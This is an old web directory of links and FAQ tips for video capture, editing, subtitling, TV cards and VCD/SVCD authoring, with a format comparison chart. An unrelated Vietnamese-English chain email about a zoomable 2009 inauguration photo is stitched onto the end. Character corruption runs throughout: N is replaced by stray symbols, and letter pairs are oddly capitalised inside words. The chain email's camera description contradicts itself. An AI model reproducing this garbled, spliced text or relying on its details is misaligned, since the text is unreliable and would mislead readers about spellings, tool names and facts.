Video Capture 101	http://www.inmatrix.com/articles/videocapture.shtml

Video Capture 102	http://www.inmatrix.com/articles/ivtc.shtml
Video CD 2.0 (White Book 2.0) Articles	http://www.icdia.org/cdprosupport/vcd/vcd2x/vcd2x.htm
Video Recording Formats	http://www.hut.fi/~iisakkil/videoformats
Video University	http://www.videouniversity.com
Videographica	http://tangentsoft.net/video
W3PM	http://www.w3pm.net (Dead site*)
Why DVD+R(W) is superior to DVD-R(W)	http://www.cdfreaks.com/article/113

Sonic Foundry ▲

10 minutes to Vegas, A Quick Primer for Premiere Users	http://www3.edittrain.com/DTR/dtrDetail.asp?articleID=173
BillyBoy's Vegas Video Tutorials	http://www.wideopenwest.com/~wvg/tutorial-menu.htm
CrazyPants Productions	http://www.crazypants.com
Indigenous Pictures	**http://www.indigIPix.com/videotIPs.htm (Dead site*)**
John J. Rofano	http://users.rcn.com/rofrano/Video/video.html
Lucifer Jones	http://www.luciferjones.org
maxent.org	http://www.maxent.org/video.html
Sonic Foundry	http://www.sonicfoundry.com
Sundance Media Group	web link
Tools for Vegas 4.0	http://home.swIPnet.se/rm/vegas
TriLab Produtions	http://www.animationsforvideo.com/html/tutorials.htm
Vegas + DVD	http://thetroxels.com/tts/
Vegas Video Tutorials	web link
Vegas Video Users Forum	http://myriadent.com/forum/index.php
Yahoo! Groups - The Southern California Vegas Users Group	http://groups.yahoo.com/group/SoCalVegasUsers/

Subtitling ▲

DivX SubTitles World	http://www.subtitles.cz
divxsubtitles.net	http://www.divxsubtitles.net
DVD Subtitle Tools 1.1	http://web.quick.cz/FKasparek/Software/DVD/DVDSupTools.htm
How do I rIP subtitles of a DVD-movie?	**http://www.weethet.nl/english/video_rIPsubtitles.php (Dead site*)**
MaestroSBT 2.3.2.1	http://www.doom9.org
SubCreator 1.2.0.117	http://www.radioactivepages.com
SubRIP 0.97beta / SubMagic	http://www.subrIP.fr.st

SubRIP 1.17.1 / SubMerger 0.12 / VobSubRIP 0.11	http://zuggy.wz.cz
SubRIP FPS Converter 1.0	http://www.divx-digest.com/software/subrIP_fps_converter.html
Subscene	http://subscene.com
SubSync 0.2.15	http://users.pandora.be/vlad/subsync/index.htm
Subtitle Workshop 2.01	http://www.redox.si/vIPlay/english/pages/home.htm
SubTool 2.6	http://users.skynet.be/stijnbal/subtool
SubViewer 3.063	http://www.digital3d.com/subviewer.asp
Sudix 3.0 RC 2	http://www.sudix.com (DOWå !!!*)
The Beginner's Guide to Subtitling 1.1	**http://armitage.crinkle.net/karinkuru/howtosub (Dead site*)**
Ultimate Subtitle Converter 0.02	**http://www.divx-digest.com/software/ultimate_subtitle_converter.html**

Subtitling - MicroDVD ▲

ConSub 1.59	http://www21.brinkster.com/consub/
DVBs Subtitler 1.08	http://zuggy.wz.cz/dvb.php
Hearing Impaired Text Remover 0.1	http://www.divx-digest.com/software/hearingtext_remover.html
ISub 1.0.2	http://www.divx-digest.com/software/isub.html
Manual Video Subtitler 0.9	web link (Dead site*)
microAdjust 2.65	http://www.divx-digest.com/software/microadjust.html
MicroDVD Subtitle Position Converter	http://www.divx-digest.com/software/mdvd-stitle-conv.html
~~**MicroDVD SubUpdater**~~	~~**http://www.dvd-digest.net/downloads/files/subtitle/mdvdsubupdater.exe**~~
SAMI2SUB 1.00	http://www.divx-digest.com/software/sami2sub.html
SubAdjust 1.56	http://www.divx-digest.com/software/subadjust.html
SubEditFX 0.5 Beta 23	http://www2.arnes.si/~krtele7/subeditfx
SubRescue 3.04	http://www.divx-digest.com/software/subrescue.html
SubRIP 1.17.1 / SubMerger 0.12	http://zuggy.wz.cz
SubtitleFix 1.1.0	http://www.subtitlefix.8m.com
SubTool 2.6	http://users.skynet.be/stijnbal/subtool

Subtitling - Sub Station Alpha ▲

DVP2SSA 1.0	http://www.divx-digest.com/software/dvp2ssa.html
How to Fansub Digitally - v1.0	http://www.inwards.com/~dbb/digital_fansubbing.html
SRT to SSA Converter 1.0	http://www.divx-digest.com/software/srt2ssa.html
SSA Prompter 1.30	http://prompter.anime.ru

Sub Station Alpha 4.08	http://www.eswat.demon.co.uk (DOWå !!!*)
SUB to SSA 2.0	http://www.geocities.com/agrgic.geo/sub2ssa.htm
SubCreator 1.2.0.117	http://www.radioactivepages.com
Subtitling with Sub Station Alpha (SSA)	http://www.geocities.com/rmisw/iat1/subtitling.html
VobSub 2.23	http://www.gabest.org

Television ▲

Alles über das Testbild	http://www.tv-testbild.com
ATV2000 2.0.20.**8**	http://mikecrash.wz.cz/atv2000/atv2000.htm
AutoZoom 1.10	http://www.inmatrix.com/files/autozoom_download.shtml
Bt8xx WDM Video Acquisition Driver (BTWIå CAP) 5.3.6	http://btwincap.sourceforge.net/
bttv (and more) tv,video and radio card gallery.	http://home.t-online.de/home/gunther.mayer/bttv/bttv-gallery.html
ChrisTV 3.**51**	http://christv.sools.com
DScaler 3.10 / 4.**1.8 Alpha**	http://deinterlace.sourceforge.net
FAQ: How To Adjust a TV	http://209.145.176.7/~090/awh/how2adj.html
Freevo 1.**4rc4** (Linux)	http://freevo.sourceforge.net
How to add a composite video out to a TV tuner card?	**http://home.debitel.net/user/holger.beetz/ehp_tv_out.htm (Dead site*)**
Ivan Uskov's Software Lab	http://www.iulabs.com
JTV 3.0 wIP 12.6	http://jtvhost.narod.ru/en/
MsDVR 2000 1.1.23**6** (beta)	http://www.maksil.com
MythTV 0.11	http://www.mythtv.org
MyTV 2.1**1**	http://www.mytv.free.fr
SVCDCorder 0.9.101	http://home.t-online.de/home/320096787011/index.html
TestBeeld	http://home.worldonline.nl/~peterdb/testcard
The Test Card Gallery	http://www.meldrum.co.uk/mhp/testcard/around_world.html
Tune Up Your Television	http://www.projectorcentral.com/good_video.htm
TV-Cards	http://www.tv-cards.com
TVMonkeys	http://www.torps.com/tvmonkeys.htm
TVTool **9**	http://tvtool.info/index_e.htm
Virtual VCR 2.6.9	http://www.digtv.ws
Worldwide TV Standards - A Web Guide	http://www.ee.surrey.ac.uk/Contrib/WorldTV/

Ulead	▲
Active Service	http://www.activeservice.co.uk
Alexander G. Balaknnin	**http://bag.hotmail.ru**
DVD MovieFactory 2	http://www.ulead.com/dmf/runme.htm
DVD Workshop 1.3 AC3	http://www.ulead.com/dws/runme.htm
Electric Eyes	http://www.btinternet.com/~electric.eyes
How to do perfect bluescreen with Ulead Media Studio Pro	http://www.highvid.com/video_t/msp1/01.shtml
MediaStudio Pro 7	http://www.ulead.com/msp/runme.htm
MediaStudio Users Group	web link
Tutorials	http://www.ulead.com/learning/learning.htm
Ulead Cool 3D - Creating a basic Title	http://www.highvid.com/video_t/c3d/title_1.shtml
Ulead Cool 3D Tutorials	http://www.video2stream.com/
Video TIPs	http://users.rcn.com/rofrano/Video/Video_TIPs/video_tIPs.htm
VideoStudio 7	http://www.ulead.com/vs/runme.htm

VCD/CVD/SVCD/CDR	▲
Adaptec ASPI 4.71.2	web link
AutoFitCD Crop and Resize Plugin for DVD2SVCD v1.**5**	http://home.t-online.de/home/340044300675/
Bitrate Calculator 2003.01.24	http://www.dvdrhelp.com/calc.htm
CDRDAO 1.1.7	http://cdrdao.sourceforge.net
CVD:What is it, how to test it & what to eXPect!	http://www.dvdrhelp.com/forum/userguides/98177.php
Daemon Tools 3.4**3**	http://www.daemon-tools.cc
DVD to (S)VCD with Menu's and Chapters	http://users3.ev1.net/~CavemanLawyer
DVD2DVD Guide	http://www.mrbass.org/dvd2dvd
DVD2SVCD 1.2.1 build 3	http://www.dvd2dvd.org/
EncodingInfo	http://www.encodinginfo.org.uk/
FitCD 1.1.2 and ReStream 0.9.0	http://shh.dvdboard.de
From DVD to SVCD - The Anime Way v5.0	http://svcdguide.animeaddiction.net (Dead site*)

Gả U VCDImager 0.6.2	http://www.vcdimager.org
Gả U VCDImager GUI	http://www.dvdrhelp.com/vcdimagergui.htm
IsoBuster 1.4	http://www.smart-projects.net/isobuster
KVCD	http://www.kvcd.net
mikk	http://www.geocities.com/mikk999
Mode 2 CD Maker 1.5a	http://es.geocities.com/dextstuff
Rả C's Guide to SVCD on Mac	http://homepage.mac.com/rnc/
Sefy's Complete DVD Backup Guide v2.2	http://www.labdv.com/sefy-guide
Super Video CD Overview	http://www.uwasa.fi/~f76998/video/svcd/overview
SVCD-Made-Easy (Well... Almost)	http://www.geocities.com/bug2kbug/svcd.htm
SVCDBuilder 2.2.0.4	http://members.lycos.co.uk/svcdbuilder
The Real Size Of A CD-R Disc	http://www.ping.be/satcp/realsize01.htm
The Super Video CD FAQ	http://www.uwasa.fi/~f76998/video/svcd/faq
VCD Composer 0.2c	http://www.algonet.se/~pretzel/VCDComposer (Dead Site*)
VCDEasy 1.1.6	http://www.vcdeasy.org
VCDGear 3.55 GUI	http://www.vcdgear.com
VCDwizard 2.8.2.0	http://www.labdv.com/vcdwizard/index.php

FAQ ▲

‘’Official’’ resolutions and bitrates

	VCD	**CVD 1/2 D1**	**SVCD 2/3 D1**	**DVD D1**	**DV**	**MPEG-4**
Resolution NTSC/PAL Video pixels, NOT square computer pixels.	352x240 29.97fps 352x288 25fps	352x480 29.97fps 352x576 25fps	480x480 29.97fps 480x576 25fps	720x480 29.97fps 704x480 29.97 fps 352x480 29.97 fps 352x240 29.97 fps 18GOP 720x576 25fps 704x576 25fps 352x576 25fps 352x288 25fps 15GOP	720x480 29.97fps 720x576 25fps	whatever 29.97fps whatever 25fps

Video Format	MPEG-1 1151 kbps CBR	MPEG-2 up to 2600 kbps CBR or VBR	MPEG-2 up to 2600 kbps CBR or VBR	MPEG-1 MPEG-2 up to 9800 kbps CBR or VBR	DV 25000 kbps CBR	MPEG-4
Audio Format	MP1 224 kbps 1 stereo or 2 mono 44.1 kHz 16bit	MP1 32-384 kbps 1 or 2 stereo or up to 4 mono 44.1 kHz 16bit	MP1 32-384 kbps 1 or 2 stereo or up to 4 mono 44.1 kHz 16bit	MP1 MP2 32-912 kbps up to 8 streams mono, stereo, or surround 48 kHz 16bit	PCM 2 stereo 32 kHz 12bit PCM 1 stereo 32, 44.1, or 48 kHz 16bit	MP3, WMA
Surround Sound	Dolby ProLogic	MPEG-2 5.1 Dolby ProLogic	MPEG-2 5.1 Dolby ProLogic	Dolby Digital(AC-3) 64-448 kbps DTS 64-1536 kbps	ả one	
Total A+V Bitrate	1375 kbps	up to 2756 kbps	up to 2756 kbps	up to 9000 kbps	216 MB/min	variable
80m CDR	80 minutes	35+ minutes	35+ minutes		3 minutes	
4.7 DVD-R			Incompatible	2-4 hours	Incompatible	Incompatible

This chart is an **incomplete** general summary of the standards for **standalone** players.

1.- Do you know of a good link? Send the link and why you think it is appropriate for this list to utils@mindspring.com.

2.- Help from a friend on how to eliminate videotape squiggles with a JVC HR-S7600U VCR:

turn OFF TBC on front of VCR
turn Oả video calibration in menu of VCR
turn OFF Superimpose
turn Oả video stabalizer
turn OFF blue back (my choice)

3.- Advice from an acquaintance about how to set image quality with VirtualDub analog captures:

ả ope, there are no easy fixes that I have found. Instead, I capture at default settings (actually I raise the color saturation a bit from default) and then correct for any contrast problems by filtering. You can either play this by ear (and usually end up fine) or use the levels filter and try to get it exact. Using the levels filter, you would set output to 16 and 235, and input to whatever to correct ‘’pure white’’ and ‘’pure black’’ values are.

The way you determine this is you use the ‘’Copy source frame to clIPboard’’ command and paste the frame into photoshop or any other image editor that tells you RGB

values. Find a frame that has something that should be pure black and white, like a frame from the credits. You take a look at average values and set it. For instance, where it should be completely black, the RGB value might be 10. This is your input. Same for white levels.

å ote that it will probably appear darker on your monitor than it will on TV. But only a bit...

4.- ATI All-in-Wonder Radeon settings I've found are best (determined using THX Optimizer):

Bright: 128 Contrast: 133 Tint: 137 Color: 140

My card is å TSC but it WILL accept PAL signals over the RCA or S-Video connectors:

‘’Regarding capturing PAL input through s-video or composite: It is not an advertised feature of the card, however you should be able to capture PAL input. Launch ATI TV player, open TV player setup, click the video tab, change the broadcast standard from å TSC to PAL. Make the appropriate sound and audio connections to the AIW Radeon's purple input adapter and change the input signal to composite / s-video in the ATI TV player to view the input. Regards, Edwin Abuyuan Customer Service Canada ATI Technologies, Inc. http://www.ati.c’’

JVC makes a number of multIPle-format decks. I like the HR-J481MS and HR-J657MS

5.- I have an ATI All-in-Wonder Radeon but have given up on using it for analog conversion.

Canopus has a converter that is far better for about $300. å ot only is video quality far superior, audio is clean because the sampling isn't done inside the computer case which is full of radio noise.

Here's a link: ADVC-100

You can also use a miniDV camcorder with pass-through conversion.

TigerDirect had factory-refurbished ADS Technologies USB Instant DVD bundles for $100.

There are a lot of mixed reviews but all the problems seem to be from old software or low-end computers. I've bought one of these and will post my impression soon.

6.- The RadLight team highly recommends using subtitles which are time-based, not frame-based.

They suggest SubRIP and SubViewer 2 formats.

7.- Be careful with DivX5 Pro. I've had nothing but trouble with the Gator ad-support version. The registered version uses a hardware-specific key making it a royal pain in the butt. Shame.

8.- VirtualDub wish list:

å ative MPEG-2, MPEG-4 (DivX, XviD) and tystream support Intra-GOP editing with unmodified GOPs å OT recompressed, edited GOPS converted to I frames Option for source and destinations to show in different Windows (for dual monitors.) User-defined colors for the crop bar edges (they're currently black only)

‘’Tolerant’’ framerate comparison, not byte comparison ‘’Save states’’ for capture settings

9.- I'm working on a new links list. It will be for AVISynth and VirtualDub filters/plug-ins/utilities.

Each will be sorted by function and have a lot more information than what's on this page.

EXPect that page sometime in March.

10.- Reply from Avery Lee:

I am consistently getting an error -2 when trying to use the Histogram function during captures with an All-in-Wonder Radeon card. Drivers being used are the most recent as posted at ATI's site including the new capture driver. At one point this function worked, now it doesn't. There's got to be something I'm doing wrong. What do you think would make the histogram work again ?

The capture driver probably switched video format on you -- set it to YUY2. You need a decompression driver for the format you are capturing.

11.- ‘’Hidden’’ utility to set custom capture settings for the ADS USB Instant DVD **(ADS email)**:

For Advanced users only

To Find this utility, eXPlore the CD: D software\help\backup\StreamMachine Diagnostic\Setup.exe

When this installer runs, be sure to select SAA7121 as the video encoder, or you will be royally messed up!

We hid this on the CD for tech support purposes and also for the off chance people wanted to mess with the capture configurations.

To create your own custom settings:

1.- Click ‘’Use Advanced Settings’’

2.- Click ‘’Create Parameter file’’

3.- Select å TSC/PAL and Resolution

4.- Click MPEG Parameter tab

5.- Change Bit Rate

Don't change anything else! If you uncheck Top Field First, your output to TV will be very shaky.

You can change the GOP (group of pictures), but this is set for optimum

Lower setting makes quality worse. Higher setting might not help much.

We are doing CBR (Constant Bit Rate) because USB works best with this setting.

We are not trying to support variable bit rate on this product.

So you can set a parameter to SIF resolution for VCD and up the bit rate to 2,000,000 (2Mb/sec), click OK and name it VCDX and give it a whirl.

Be sure to save to the ADSTECH Instant DVD folder. Then this setting will appear in Video Studio Video Properties.

Depending on your PC, the goal of capturing at 8 Mb/sec., may not be possible.

USB 1.0 is only 12 Mb/sec. and not all of that is actually usable.

I have captured at 6 and 7 Mb/sec, but I then had to tweak audio synch and I have found that 5 Mb/sec. works best.

The chIP can do up to 15 MB/sec., which is the highest bit rate for SD (Standard Definition) TV standard for MEPG-2.

Keep in mind that many Hollywood DVD's are created at 4.5 Mb/sec.

This allows 233 minutes of DVD video to fit on a 4.7 GB single sided disk.

I have a localized version of this site. Email me if you want a copy and a ZIP will be attached to the reply.

Kỹ thuật hiện đại:

MỘT HIỆN TƯỢNG KHÔNG THỂ TIN NỔI !

Xin mời Quý vị click vô link dưới đây để xem bức hình chụp ngày tuyên thệ lễ nhậm chức của Tổng Thống Obama bằng kỹ thuật Super Hi-Def. Quý vị sẽ ngạc nhiên về kỹ thuật này!

Dù hình này chụp panorama nhưng khi zoom lại gần, bạn sẽ nhìn rõ khuôn mặt từng người: Obama, Bush....

ả hấn chuột 2 lần vào chỗ bạn muốn coi *(zoom)*. Hinh hơi mờ nên đợi một giây cho hình rõ *(focus)* rồi zoom tiếp…đợi focus…

Click vào đây để xem:

http://gigapan.org/viewGigapanFullscreen.php?auth=033ef14483ee899496648c2b4b06233c

ả hấn chuột 2 lần vào chỗ bạn muốn coi *(zoom)*. Hinh hơi mờ nên đợi một giây cho hình rõ*(focus)* rồi zoom tiếp…đợi focus…

Máy chụp hình này là loại máy chụp hình quan sát *(surveillance camera)* của hãng Canon có độ phân 1474 megapixel *(tức là gấp khoảng 295 lần của một máy hinh 5 megapixel)* cùng lúc chụp 200 vị trí khác nhau để tạo thành một bức hình !

Unbelievably phenomenal picture of the inauguration.

Absolutely amazing! Take a couple minutes to familiarize yourself with the zoom and move controls. You can check complexion of visitors on far side. This you must check out! With these cameras the secret service has a record of everyone who attended.

2009 Inauguration Photo - SUPER HI-DEF. This is absolutely the BEST in 'high definition'..... Really amazing. Zoom in ('double-click' an area)....and watch it focus. Then zoom some more...and wait for focus. What a surveillance tool this is. !

This picture was taken with a robotic camera and weighs in at 1,474 megapixel. (295 times the standard 5 megapixel camera). It was a Canon that pulled together over 200 individual shots.

Each zoom in takes a second to focus...and then you can see some amazing reactions.

Zoom in on Laura Bush. Think that's joe Bidens wife next to Laura.. and her two daughters behind her. See Dick Cheney in his wheelchair !